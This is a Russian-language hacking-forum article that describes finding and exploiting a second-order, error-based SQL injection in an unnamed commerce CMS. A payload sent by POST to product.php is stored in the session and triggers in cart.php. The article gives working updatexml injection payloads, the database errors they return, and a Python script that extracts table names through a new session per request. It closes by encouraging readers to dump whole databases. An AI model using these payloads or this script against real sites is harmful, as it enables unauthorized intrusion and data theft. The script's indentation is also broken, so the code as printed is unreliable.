Статья Хроники мастера ковычки: Cookie manipulation

В чём суть…


Далеко не всегда всё идёт по плану. Многое можно просто оставить, думая о том, что встретил неэксплуатируемую уязвимость. Многое можно не заметить… Поэтому я пишу данный материал, что бы ты был готов. Здесь не будет мануала по взлому какого-то ресурса с данным багом. Я буду разбирать уязвимости как пример, без ссылок на конкретные cms и сайты. То, о чём хочу написать в этом цикле статей - мой опыт, то что я встречал и мне показалось интересным. Здесь нет времени и срока давности, это истории о том, как я находил уязвимости и заставлял их работать. Есть ситуации в которых выручал опыт, а были в которых помогала интуиция. Хотя, если подумать, это ли не одно и тоже? Есть уникальные sql баги которые я ещё не заставил работать, если тебе будет интересен данный материал, отпишись в комментариях, я раскурю их и разложу здесь. А теперь усаживайся поудобнее, мы приступим к первой истории.


Sql Injection cookie session manipulation


Именно так я прозвал эту уязвимость. Занимаясь исследованием одной популярной ( на времена начала 10ых ) коммерс cms, я наткнулся на уязвимый параметр. Наткнулся интересным методом. У меня был запущен сканнер уязвимостей. Пока сканируется ресурс, всё проверяю рукам. Я встречал множество раз ситуации, когда приложение в упор не видит инъекции и, бывало, весьма очевидных. Случалось такое - я специально скармливал софту уязвимый скрипт, настраивал самый хард режим, а он просто молчал. Что примечательно - разные версии по разному реагируют. И, что удивительней, чем старше версия, тем больше уязвимостей он находит. Не знаю с чем это связанно, но с таким я сталкивался и не единожды. Теперь всё же вернёмся к нашему исследованию. Перепроверив все GET запросы, и ничего не обнаружив, перешёл к POST. Проверяя один за другим, я не находил реакций от веб-приложения. Проверив все, я так же ничего не обнаружил. И тут ты подумаешь - «Ты же не проверил куки?» Да, я до них ещё не добрался и всё же будь тут простая инъекция в куках, наверное на этом статья и закончилась бы, хотя и тут бывают разные варианты. Я решил взглянуть на вывод, узнать как там поживает статистика и обнаружил критическую уязвимость - sql инъекцию error based ( неподтверждённая ) . Неужели я что-то упустил? Как? Открываю информацию об ошибке, редактор http запросов, пытаюсь воспроизвести, но ничего не происходит. Информация об ошибке не изменяется, чтобы я не подставлял в параметры , даже, когда убирал ковычку. Нет реакции при взаимодействии со скриптом. Внимательно всматриваюсь в ответ от субд - инъекция возникла в месте не связанном с текущим скриптом и его параметрами. Когда я проверял руками,в другом скрипте, было POST значение vuln равное единице. Оно же и присутствует в ответе. Значение этой переменной сохранилось и привязалось к сессии, а другой скрипт обратился к этому параметру ( ниже приведу пример ):

https://vulnsite.site/product.php?product=12&ac=add&sid=1xrt47fh422

POST:
product_num=12&vuln=1'

Данный скрипт добавил в корзину, нужный товар под номером 12 с указанными POST параметрами. Ничего кроме пустой страницы он не вернул. А вот другой скрипт, назовём его cart.php, который обращается за параметрами и где возникает инъекция:

https://vulnsite.site/cart.php?sid=1xrt47fh422

Возвращается типичный error based. Между прочим, во всей cms это был не единственный скрипт который обращается к параметрам, добавленым в корзину.


Что мы имеем?


Отправляем POST запрос на получение версии СУБД:

product_num=12&vuln=1' or updatexml(1,concat(0x7e,(SELECT version())),0) --

Открываем cart.php?si

Ссылка скрыта от гостей

=1xrt47fh422 и видим что ошибка остаётся прежней:

1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1' at line 3

Тогда удаляем все куки в браузере, получаем новую сессию. И отправляем вышеописанные POST данные скрипту с новой сессией:

https://vulnsite.site/product.php?product=12&ac=add&sid=264ChU3245

А теперь запускаем:

https://vulnsite.site/cart.php?sid=264ChU3245

Видим ответ:

1105 - XPATH syntax error: '~5.7.44'

Из всего описанного выше, мы делаем соотвествующие выводы:
1. Инъекция передаётся в одном скрипте POST параметром ( product.php ) и ответ получаем в другом ( cart.php ).
2. 1 инъекция = 1 сессия.

Эксплуатация такой инъекции вручную займёт уйму времени. Поэтому напишем небольшой скриптик на Python, который достанет имена таблиц, что заметно ускорит процесс:

import requests
import re

tblnum = 115 # Предварительно узнаём количество таблиц в базе

result = [] # Список с именами таблиц

for cf in range(tblnum):

    """ Здесь мы формируем POST запрос на получение имен таблиц """

    postparam = {'product_num' : ' 12', 'vuln' : f'1\' or updatexml(1,concat(0x7e,(SELECT concat_Ws(char(124),table_name) from information_schema.tables limit {cf},1)),0) or \''}

    with requests.Session() as res: # Каждый запрос будет создаваться с новой сессией

        r = res.post("https://vulnsite.site/product.php?product=12&ac=add", postparam)

        r = res.get("https://vulnsite.site/cart.php")

        """ Наполняем массив таблицами """

        rt = re.search(r'XPATH syntax error: \'.+\'',r.text)

           result.append(rt.group())

""" Выводим в терминал названия таблиц """

for _ in range(len(result)):

print(result[_]+'\n')

Заключение


Надеюсь эта информация поможет тебе в поиске и эксплуатации sql багов, на самом деле более 90% уязвимостей данного типа можно довести до полной бд на твоём винте. Многие интересные ситуации которые я встречал и ещё встречу, я постараюсь выкладывать здесь.